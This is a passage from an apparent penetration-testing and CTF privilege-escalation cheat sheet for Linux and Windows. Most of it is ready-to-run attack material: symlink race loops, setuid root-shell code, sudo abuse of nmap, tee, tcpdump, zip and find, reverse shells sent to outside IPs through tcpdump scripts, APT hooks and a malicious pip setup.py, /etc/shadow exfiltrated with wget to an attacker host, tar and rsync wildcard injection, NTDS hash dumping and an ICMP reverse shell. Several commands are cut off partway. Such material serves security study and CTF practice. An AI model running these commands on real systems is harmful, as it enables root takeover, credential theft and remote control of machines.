sym_fold:  
total 0  
lwxrwxrwx 1 bitvijays bitvijays 5 Dec 2 19:31 etc -> /etc/
```

This might be useful to bypass some filtering, when let's say a cronjob is running but refuses to take backup of anything named /etc . In that case, we can create a symlink inside a folder and take the backup.

#### Time of check to time of use

In Unix, if a binary program such as below following C code (uses access to check the access of the specific file and to open a specific file), when used in a setuid program, has a TOCTTOU bug:

```
if (access("file", W_OK) != 0) {  
    exit(1);  
}  
  
fd = open("file", O_WRONLY);  
//read over /etc/shadow  
read(fd, buffer, sizeof(buffer));
```

Here, access is intended to check whether the real user who executed the setuid program would normally be allowed to write the file (i.e., access checks the real userid rather than effective userid). This race condition is vulnerable to an attack:

Attacker

```
//  
//  
// After the access check  
symlink("/etc/shadow", "file");  
// Before the open, "file" points to the password database  
//  
//
```

In this example, an attacker can exploit the race condition between the access and open to trick the setuid victim into overwriting an entry in the system password database. TOCTTOU races can

be used for privilege escalation, to get administrative access to a machine.

Let's see how we can exploit this?

In the below code, we are linking the file which we have access (/tmp/hello.txt) and the file which we want to read (and currently don't have access) (/home/flagXX/token). The f switch on ln makes sure we overwrite the existing symbolic link. We run it in the while true loop to create the race condition.

```
while true; do ln -sf /tmp/hello.txt /tmp/token; ln -sf /home/flagXX/token /tm
```

We would also run the program in a while loop

```
while true; do ./flagXX /tmp/token 192.168.56.1 ; done
```

Learning:

Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

#### **Writable /etc/passwd or account credentials came from a legacy unix system**

- Passwords are normally stored in /etc/shadow, which is not readable by users. However, historically, they were stored in the world-readable file /etc/passwd along with all account information.
- For backward compatibility, if a password hash is present in the second column in /etc/passwd, it takes precedence over the one in /etc/shadow.
- Also, an empty second field in /etc/passwd means that the account has no password, i.e. anybody can log in without a password (used for guest accounts). This is sometimes disabled.
- If passwordless accounts are disabled, you can put the hash of a password of your choice. we can use the mkpasswd to generate password hashes, for example

```
Usage: mkpasswd [OPTIONS]... [PASSWORD [SALT]]
Crypts the PASSWORD using crypt(3).

-m, --method=TYPE      select method TYPE
-5                      like --method=md5
-S, --salt=SALT        use the specified SALT
-R, --rounds=NUMBER    use the specified NUMBER of rounds
-P, --password-fd=NUM  read the password from file descriptor NUM
                       instead of /dev/tty
-s, --stdin            like --password-fd=0
-h, --help              display this help and exit
-V, --version           output version information and exit

mkpasswd can generate DES, MD5, SHA-256, SHA-512
```

- It's possible to gain root access even if you can only append to /etc/passwd and not overwrite the contents. That's because it's possible to have multiple entries for the same user, as long as they have different names — users are identified by their ID, not by their name, and the defining feature of the root account is not its name but the fact that it has user ID 0. So you can create an alternate root account by appending a line that declares an account with another name, a password of your choice and user ID 0

### Elevating privilege from a suid binary

If we have ability to create a suid binary, we can use either

Suid.c

```
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
```

or

```
int main(void) {
setgid(0); setuid(0);
system("/bin/bash -p"); }
```

However, if we have a unprivileged user, it is always better to check whether /bin/sh is the original binary or a symlink to /bin/bash or /bin/dash. If it's a symlink to bash, it won't provide us uid privileges, bash automatically drops its privileges when it's being run as uid (another security mechanism to prevent executing scripts as uid). So, it might be good idea to copy dash or sh to the remote system, uid it and use it.

More details can be found at [Common Pitfalls When Writing Exploits](#)

### Executing Python script with sudo

If there exists a python script which has a import statement and a user has a permission to execute it using sudo.

```
<display_script.py>
#!/usr/bin/python3
import ftplib or import example
<Python code utilizing ftplib or example calling some function>
print (example.display())
```

and is executed using

```
sudo python display_script.py
```

We can use this to privilege escalate to the higher privileges. As python would imports modules in the current directory first, then from the modules dir (PYTHONPATH), we could make a malicious python script (of the same name of import module such as ftplib or example) and have it imported by the program. The malicious script may have a function similar to used in example.py executing our command. e.g.

```
<example.py>
#!/usr/bin/python3
import os

def display():
    os.system("whoami")
    exit()
```

The result would be "root". This is mainly because `sys.path` is populated using the current working directory, followed by directories listed in your PYTHONPATH environment variable, followed by installation-dependent default paths, which are controlled by the site module.

### Example

If we run our script with sudo (sudo myscript.py) then the environment variable \$USER will be root and the environment variable \$SUDO\_USER will be the name of the user who executed the command sudo myscript.py. Consider the following scenario:

A linux user bob is logged into the system and possesses sudo privileges. He writes the following python script named myscript.py:

```
#!/usr/bin/python
import os
print os.getenv("USER")
print os.getenv("SUDO_USER")
```

He then makes the script executable with chmod +x myscript.py and then executes his script with sudo privileges with the command:

```
sudo ./myscript.py
```

The output of that program will be (using python 2.x.x):

```
root
bob
```

If bob runs the program without sudo privileges with

```
./myscript.py
```

he will get the following output:

```
bob
None
```

## MySQL Privileged Escalation

If mysql (version 4.x, 5.x) process is running as root and we do have the mysql root password and we are an unprivileged user, we can utilize [User-Defined Function \(UDF\) Dynamic Library Exploit](#) . Refer [Gaining a root shell using mysql user defined functions and setuid binaries](#)

### More Information

- The MySQL service should really not run as root. The service and all mysql directories should be run and accessible from another account - mysql as an example.
- When MySQL is initialized, it creates a master account (root by default) that has all privileges to all databases on MySQL. This root account differs from the system root account, although it might still have the same password due to default install steps offered by MySQL.
- Commands can be executed inside MySQL, however, commands are executed as the current logged in user.

```
mysql> \! sh
```

### Cron.d

Check cron.d and see if any script is executed as root at any time and is world writeable. If so, you can use to setuid a binary with /bin/bash and use it to get root.

### pspy

[pspy - unprivileged linux process snooping](#) is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.

The tool gathers its info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes. It is a great tool to search for cron jobs

running.

## Unattended APT - Upgrade

If we have a ability to upload files to the host at any location (For. example misconfigured TFTP server) and APT-Update/ Upgrade is running at a set interval (Basically unattended-upgrade or via-a-cronjob), then we can use APT-Conf to run commands

### DPKG

Debconf configuration is initiated with following line. The command in brackets could be any arbitrary command to be executed in shell.

```
Dpkg::Pre-Install-Pkgs {" /usr/sbin/dpkg-preconfigure --apt || true";};
```

There are also options

```
Dpkg::Pre-Invoke {"command";};  
Dpkg::Post-Invoke {"command";};
```

They execute commands before/ after apt calls dpkg. Post-Invoke which is invoked after every execution of dpkg (by an apt tool, not manually);

### APT

- APT::Update::Pre-Invoke {"your-command-here"};
- APT::Update::Post-Invoke-Success, which is invoked after successful updates (i.e. package information updates, not upgrades);
- APT::Update::Post-Invoke, which is invoked after updates, successful or otherwise (after the previous hook in the former case).

To invoke the above, create a file in /etc/apt/apt.conf.d/ folder specifying the NN<Name> and keep the code in that

For example:

```
APT::Update::Post-Invoke{"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|r
```

When the apt-update would be executed, it would be executed as root and we would get a shell as a root.

## SUDO -I Permissions

Let's see which executables have permission to run as sudo, We have collated the different methods to get a shell if the below applications are suid: nmap, tee, tcpdump, find, zip and package installers (pip, npm).

### nmap suid

```
nmap --script <(echo 'require "os".execute "/bin/sh"')
```

or

```
nmap --interactive
```

### tee suid

If tee is suid: tee is used to read input and then write it to output and files. That means we can use tee to read our own commands and add them to any\_script.sh, which can then be run as root by a user. If some script is run as root, you may also run. For example, let's say tidy.sh is executed as root on the server, we can write the below code in temp.sh

```
temp.sh  
echo "example_user ALL=(ALL) ALL" > /etc/sudoers
```

or

```
chmod +w /etc/sudoers to add write properties to sudoers file to do the above
```

and then

```
cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
```

which will add contents of temp.sh to tidyup.sh. (Assuming tidyup.sh is running as root by crontab)

## tcpdump

The “-z postrotate-command” option (introduced in tcpdump version 4.0.0).

Create a temp.sh ( which contains the commands to executed as root )

```
id  
/bin/nc 192.168.110.1 4444 -e /bin/bash
```

Execute the command

```
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
```

where

```
-C file_size : Before writing a raw packet to a savefile, check whether the file size exceeds the specified limit. If so, the capture is stopped.  
-W Used in conjunction with the -C option, this will limit the number of files created before the capture is stopped.  
-z postrotate-command Used in conjunction with the -C or -G options, this will run the specified command after each file is created.  
Note that tcpdump will run the command in parallel to the capture, using the same thread.  
And in case you would like to use a command that itself takes flags or different syntax,  
-Z user  
--relinquish-privileges=user If tcpdump is running as root, after opening the first file, it will drop its privileges to the specified user.  
This behavior can also be enabled by default at compile time.
```

## zip

```
touch /tmp/exploit
sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/sh"
```

## find

If find is uid, we can use

```
touch foo
find foo -exec whoami \;
```

Here, the foo file (a blank file) is created using the touch command as the -exec parameter of the find command will execute the given command for every file that it finds, so by using "find foo" it is ensured they only execute once. The above command will be executed as root.

HollyGrace has mentioned this in [Linux PrivEsc: Abusing SUID](#) More can be learn [How-I-got-root-with-sudo](#).

## wget

If the user has permission to run wget as sudo, we can read files (if the user whom we are sudo-ing have the permission to read) by using -post-file parameter

```
post_file = file -- Use POST as the method for all HTTP requests and send the
```

Example:

```
sudo -u root wget --post-file=/etc/shadow http://AttackerIP:Port
```

On the attacker side, there can be a nc listener. The above would send the contents of /etc/shadow to the listener in the post request.

## Package Installation

### pip

If the user have been provided permission to install packages as a sudo for example

```
User username may run the following commands on hostname:  
(root) /usr/bin/pip install *
```

We can exploit this by creating a custom pip package which would provide us a shell.

First, create a folder (Let's name it helloworld), and create two files setup.py and helloworld.py

```
username@hostname:/tmp/helloworld$ ls  
helloworld.py setup.py
```

Let's see, what setup.py contains

```
cat setup.py  
  
from setuptools import setup  
import os  
print os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.0.0.1 4444;rm /tmp/f")  
  
setup(  
    name='helloworld-script',      # This is the name of your PyPI-package.  
    version='0.1',                # Update the version number for new releases  
    scripts=['helloworld']        # The name of your script, and also the command  
)
```

and helloworld.py

```
cat helloworld.py  
#!/usr/bin/env python  
print "Hello World"
```

The above can be a part of a sample package of python pip. For more details refer [A sample project that exists for PyPUG's "Tutorial on Packaging and Distributing Projects"](#), [How To Package](#)

[Your Python Code](#) , [A simple Hello World setuptools package and installing it with pip](#) and [Packaging and distributing projects](#)

The above package can be installed by using

```
sudo -u root /usr/bin/pip install -e /tmp/helloworld  
Obtaining file:///tmp/helloworld
```

The above would execute setup.py and provide us the shell.

Refer [Installing Packages](#) for different ways to install a pip package

Let's see the installed application

```
pip list  
Flask-CouchDB (0.2.1)  
helloworld-script (0.1, /tmp/helloworld)  
Jinja2 (2.10)
```

## npm

npm allows packages to take actions that could result in a malicious npm package author to create a worm that spreads across the majority of the npm ecosystem. Refer [npm fails to restrict the actions of malicious npm packages](#) , [npm install could be dangerous: Rimrafall](#) and [Package install scripts vulnerability](#)

## Unix Wildcards

The below text is directly from the [DefenseCode Unix WildCards Gone Wild](#).

### Chown file reference trick (file owner hijacking)

First really interesting target I've stumbled across is 'chown'. Let's say that we have some publicly writeable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to 'nobody'. Pay attention to the file owners in the following files list.

```
[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx-----. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 user user   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 user user   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 user user   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 user user  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 user user   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 user user  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 user user  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 user user   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 user user   94 Oct 28 17:35 script.php
```

Files in this public directory are mostly owned by the user named 'user', and root user will now change that to 'nobody'.

```
[root@defensecode public]# chown -R nobody:nobody \*.php
```

Let's see who owns files now...

```
root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx-----. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 leon leon   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 leon leon   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 leon leon   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 leon leon  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 leon leon  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 leon leon   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 leon leon  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 leon leon  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 leon leon  117 Oct 28 17:35 inc.php
```

```
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
```

Something is not right. What happened? Somebody got drunk here. Superuser tried to change files owner to the user:group 'nobody', but somehow, all files are owned by the user 'leon' now. If we take closer look, this directory previously contained just the following two files created and owned by the user 'leon'.

```
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
```

Thing is that wildcard character used in 'chown' command line took arbitrary '--reference=.drf.php' file and passed it to the chown command at the command line as an option.

Let's check chown manual page (man chown):

```
--reference=RFILER      use RFILE's owner and group rather than specifying OWNER
```

So in this case, '--reference' option to 'chown' will override 'nobody:nobody' specified as the root, and new owner of files in this directory will be exactly same as the owner of '.drf.php', which is in this case user 'leon'. Just for the record, '.drf' is short for Dummy Reference File. :)

To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the --reference option, file that's owned by some other user, not 'leon', in that case he would become owner of all files in this directory. With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically "hijack" files that are of interest to us.

Even more, if user 'leon' previously created a symbolic link in that directory that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed to the user 'leon'.

### Chmod file reference trick

Another interesting attack vector similar to previously described 'chown' attack is 'chmod'. Chmod also has -reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard. Chmod manual page (man chmod):

```
--reference=RFILE      :      use RFILE's mode instead of MODE values
```

Example is presented below.

```
[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
drwx-----. 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user  201 Oct 28 17:43 download.php
-rwxrwxrwx.  1 leon leon     0 Oct 29 00:40 drf.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-r--r--.  1 leon leon     0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php
```

Superuser will now try to set mode 000 on all files.

```
[root@defensecode public]# chmod 000 *
```

Let's check permissions on files...

```
[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
drwx-----. 24 user user  4096 Oct 28 18:32 ..
-rwxrwxrwx.  1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx.  1 user user    34 Oct 28 17:47 ado.php
-rwxrwxrwx.  1 user user   187 Oct 28 17:44 db.php
-rwxrwxrwx.  1 user user  201 Oct 28 17:43 download.php
```

```
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php
```

What happened? Instead of 000, all files are now set to mode 777 because of the ‘–reference’ option supplied through file name..Once again,file .drf.php owned by user ‘leon’ with mode 777 was used as reference file and since –reference option is supplied, all files will be set to mode 777. Beside just –reference option, attacker can also create another file with ‘-R’ filename, to change file permissions on files in all subdirectories recursively.

### Tar arbitrary command execution

Previous example is nice example of file ownership hijacking. Now, let’s go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is:

```
[root@defensecode public]# tar cvvf archive.tar *
```

So, what’s the problem with ‘tar’? Thing is that tar has many options, and among them, there some pretty interesting options from arbitrary parameter injection point of view. Let’s check tar manual page (man tar):

```
--checkpoint[=NUMBER]      : display progress messages every NUMBERth record
--checkpoint-action=ACTION : execute ACTION on each checkpoint
```

There is ‘–checkpoint-action’ option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution.

Check the following directory:

```
[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Oct 28 19:34 .
drwx----- 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user   201 Oct 28 17:43 download.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh
```

Now, for example, root user wants to create archive of all files in current directory.

```
[root@defensecode public]# tar cf archive.tar *
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:uncor
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:uncor
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:uncor
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:uncor
```

Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges. Once again, there are few files created by user 'leon'.

```
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shel
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh
```

Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed

```
[root@defensecode public]# cat shell.sh
/usr/bin/id
```

So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the 'root' account above.

### Rsync arbitrary command execution

Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very common on Unix systems. If we check 'rsync' manual page, we can again find options that can be abused for arbitrary command execution.

Rsync manual: "You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote."

Interesting rsync option from manual:

```
-e, --rsh=COMMAND      specify the remote shell to use  
--rsync-path=PROGRAM  specify the rsync to run on remote machine
```

Let's abuse one example directly from the 'rsync' manual page. Following example will copy all C files in local directory to a remote host 'foo' in '/src' directory.

```
# rsync -t *.c foo:/src/
```

Directory content:

```
[root@defensecode public]# ls -al  
total 72  
drwxrwxrwx.  2 user user  4096 Mar 28 04:47 .  
drwx----- 24 user user  4096 Oct 28 18:32 ..  
-rwxr-xr-x.  1 user user 20480 Oct 28 19:13 admin.php  
-rwxr-xr-x.  1 user user    34 Oct 28 17:47 ado.php  
-rwxr-xr-x.  1 user user   187 Oct 28 17:44 db.php  
-rwxr-xr-x.  1 user user  201 Oct 28 17:43 download.php  
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c  
-rwxr-xr-x.  1 user user    43 Oct 28 17:35 file1.php  
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php  
-rwxr-xr-x.  1 user user   357 Oct 28 17:36 global.php  
-rwxr-xr-x.  1 user user   225 Oct 28 17:37 header.php  
-rwxr-xr-x.  1 user user   117 Oct 28 17:36 inc.php
```

```
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php  
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php  
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
```

Now root will try to copy all C files to the remote server.

```
[root@defensecode public]# rsync -t *.c foo:src/  
rsync: connection unexpectedly closed (0 bytes received so far) [sender]  
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [se
```

Let's see what happened...

```
[root@defensecode public]# ls -al  
total 76  
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .  
drwx----- 24 user user 4096 Oct 28 18:32 ..  
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php  
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php  
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php  
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php  
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c  
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php  
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php  
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php  
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php  
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php  
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php  
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php  
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c  
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
```

There were two files owned by user 'leon', as listed below.

```
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c  
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
```

After 'rsync' execution, new file shell\_output.txt whose owner is root is created in same directory.

```
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
```

If we check its content, following data is found.

```
[root@defensecode public]# cat shell_output.txt  
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:uncor
```

Trick is that because of the '\*.c' wildcard, 'rsync' got '-e sh shell.c' option on command line, and shell.c will be executed upon 'rsync' start. Content of shell.c is presented below.

```
[root@defensecode public]# cat shell.c  
/usr/bin/id > shell_output.txt
```

## Tips and Tricks

### Windows

#### Get-ChildItem Mode Values

'Mode' values returned by PowerShell's Get-ChildItem cmdlet?

```
PS> gci|select mode,attributes -u  
Mode          Attributes  
----          -----  
d---          Directory  
d-r--          ReadOnly, Directory  
d---l         Directory, ReparsePoint  
-a---          Archive
```

In any case, the full list is:

```
d - Directory  
a - Archive  
r - Read-only  
h - Hidden
```

```
s - System  
l - Reparse point, symlink, etc.
```

## Zip or unzip using ONLY Windows' built-in capabilities?

Powershell way

```
Add-Type -A System.IO.Compression.FileSystem  
[IO.Compression.ZipFile]::CreateFromDirectory('foo', 'foo.zip')  
[IO.Compression.ZipFile]::ExtractToDirectory('foo.zip', 'bar')
```

## Alternate Data Stream

Sometimes, [Alternate Data Stream](#) can be used to hide data in streams.

The output shows not only the name of the ADS and its size, but also the unnamed data stream and its size is also listed (shown as :\$DATA).

Powershell-Way

```
PS > Get-Item -Path C:\Users\Administrator\example.zip -stream *  
Filename: C:\Users\Administrator\example.zip  
Stream          Length  
-----          -----  
:$DATA          8  
pass.txt        4
```

Now, we know the name of the ADS, We can use the Get-Content cmdlet to query its contents.

```
Get-Content -Path C:\Users\Administrator\example.zip -Stream pass.txt  
The password is Passw0rd!
```

Check a directory for ADS?

```
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
```

DIR Way

Current directory ADS Streams

```
dir /r | find ":$DATA"
```

Sub-directories too

```
dir /s /r | find ":$DATA"
```

Reading the hidden stream

```
more < testfile.txt:hidden_stream:::$DATA
```

We may also utilize [List Alternate Data Streams](#) LADS tool to figure out Alternate Data Streams.

### Redirecting Standard Out and Standard Error from PowerShell Start-Process

Often reverse shells will not display standard error. Sometimes they will not display standard out when a new process is started. The following will redirect standard out and standard error to text files when PowerShell starts a new process.

```
PS C:\> Start-Process -FilePath C:\users\administrator\foo.txt -NoNewWindow -F
```

[Powershell Start-Process Module Documentation](#).

### NTDS.dit and SYSTEM hive

If you have found files such as

```
IP_psexec.ntdsgrab._333512.dit: Extensible storage engine DataBase, version 0>
IP_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
```

Probably, there are dump of domain controller NTDS.dit file, from which passwords can be extracted. Utilize,

```
python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_crack
```

## ICMP Shell

Sometimes, inbound and outbound traffic from any port is disallowed and only ICMP traffic is allowed. In that case, we can use [Simple reverse ICMP Shell](#). However, this requires the executable to be present on the system. There's a powershell version of [ICMP Reverse Shell](#). Sometimes, probably, we can execute powershell code on the machine. In that case, we can use the one-liner powershell code to execute the shell.

```
powershell -nop -c "$ip='your_ip'; $ic = New-Object System.Net.NetworkInformat
```

The above code is basically a reduced version of the powershell version of ICMP and have a limited buffer (which means commands whose output is greater than the buffer, won't be displayed!). Now, there's a painful way of transferring files to the victim system which is

- Convert the file/ code which needs to be transferred in to base64. (If possible, remove all the unnecessary code/ comments, this would help us to reduce the length of the base64). Do make sure that your base64 when converted back is correct! Refer [PowerShell – EncodedCommand and Round-Trips](#)
- Utilize the [Add-Content cmdlet](#) to transfer the file to the victim system. Do, remember to transfer the data in chunks as we have limited buffer! Probably, we have to run the below command twice or thrice to transfer the whole base64-encoded chunk.

```
Add-Content <filename> "Base64 encoded content"
```

- Once the base64-encoded data is transferred, we can utilize [certutil](#) from Microsoft to decode the base64-encoded to normal file.

```
certutil <-decode/ -encode> <input file> <output file>
-decode Decode a Base64-encoded file
-encode Encode a file to Base64
```

- Now, we can execute the file (assuming powershell ps1 file) to get the full powershell ICMP reverse shell with buffer management so, we would be able to get full output of the commands.
- Now, most of the time after getting the intial shell, probably, we would have figured out user credentials ( let's say from www-data or iisapppool user to normal/ admin user credentials. ) At this point of time, we can use the below code to create a PSCredential.

```
$username = 'UsernameHere';
$password = 'PasswordHere';
$securePassword = ConvertTo-SecureString $password -AsPlainText -For
$credential = New-Object System.Management.Automation.PSCredential $
```

- Once, we have created a PSCredential, we can use [Invoke-Command](#) to execute command as that user.

```
Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock
-ComputerName localhost is required as the code is to be executed on loca
```

- Possibly, we can execute the ICMP Shell code to get the shell as the new user.
- One problem, which we gonna face is, when we are running ICMP Shell with different users for example, first with IISWebpool, then with User1, then with user2, we would get multiple times IISWebpool as that powershell process (on UDP) is still running. One way to this is Just before launching a new ICMP shell as a different user.
  - Check powershell processes with Show-Process
  - Note down the PID

- Execute shell as the different user
- Stop-Process the previous PID

### Recovering password from System.Security.SecureString

If we have windows credentials stored as System.Security.SecureString, we can use

```
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePa
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(

```

or

```
$UnsecurePassword = (New-Object PSCredential "user",$SecurePassword).GetNetwor

```

Example:

```
PS> $PlainPassword = Read-Host -AsSecureString "Enter password"
PS> Enter password: ***
PS> $PlainPassword
PS> System.Security.SecureString
PS> $UnsecurePassword1 = (New-Object PSCredential "user",$PlainPassword).GetNetw
PS> $UnsecurePassword1
PS> yum

```

### Copy To or From a PowerShell Session

This is a awesome feature to copy files from different computers on which we have a WinRM or Remote PS Session. Directly taken from [Copy To or From a PowerShell Session](#)

- Copy Local files to a remote session :

```
##Initialize the session
$TargetSession = New-PSSession -ComputerName HALOMEM03
```

```
## Copy Files from Local session to remote session
Copy-Item -ToSession $TargetSession -Path "C:\Users\Administrator\de
```

- Copy some files from a remote session to the local server:

```
## Create the session
$SourceSession = New-PSSession -ComputerName HALODC01

## Copy from Remote machine to Local machine
Copy-Item -FromSession $SourceSession -Path "C:\Users\Administrator\deskt
```

## Get-Hash

[Get-FileHash](#) Computes the hash value for a file by using a specified hash algorithm.

```
PS > Get-FileHash Hello.rst

